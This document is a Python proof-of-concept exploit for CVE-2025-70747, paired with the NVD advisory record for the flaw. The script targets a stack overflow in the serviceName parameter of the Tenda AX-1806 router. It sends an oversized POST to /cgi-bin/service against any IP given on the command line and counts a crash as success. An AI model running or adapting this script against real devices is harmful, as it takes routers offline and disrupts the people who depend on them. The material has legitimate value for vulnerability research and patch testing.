CVE-2025-70747

#!/usr/bin/env python3 # CVE-2025-70747 PoC - Tenda AX-1806 Stack Overflow in serviceName parameter # Target: Tenda AX-1806 v1.0.0.1 # Vulnerability: Stack overflow in sub_65A28 function via serviceName parameter import requests import sys def exploit_cve_2025_70747(target_ip="192.168.0.1", target_port=80): """ Exploit stack overflow in Tenda AX-1806 serviceName parameter This PoC triggers a DoS condition by sending oversized serviceName value """ target_url = f"http://{target_ip}:{target_port}/cgi-bin/service" # Generate payload with 1000 bytes of 'A' to overflow the stack buffer # Adjust the length based on actual buffer size overflow_length = 1000 payload = { 'serviceName': 'A' * overflow_length } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may have crashed (DoS successful)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "192.168.0.1" exploit_cve_2025_70747(target)

{"cve": {"id": "CVE-2025-70747", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:41.793", "lastModified": "2026-01-20T17:36:33.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the serviceName parameter of the sub_65A28 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1806 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro serviceName de la función sub_65A28. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1806_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "578F9769-EF24-4B52-83D3-9AA2C91A503D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1806:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACA44369-A513-474F-8DD0-A81B598F5B07"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/6/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}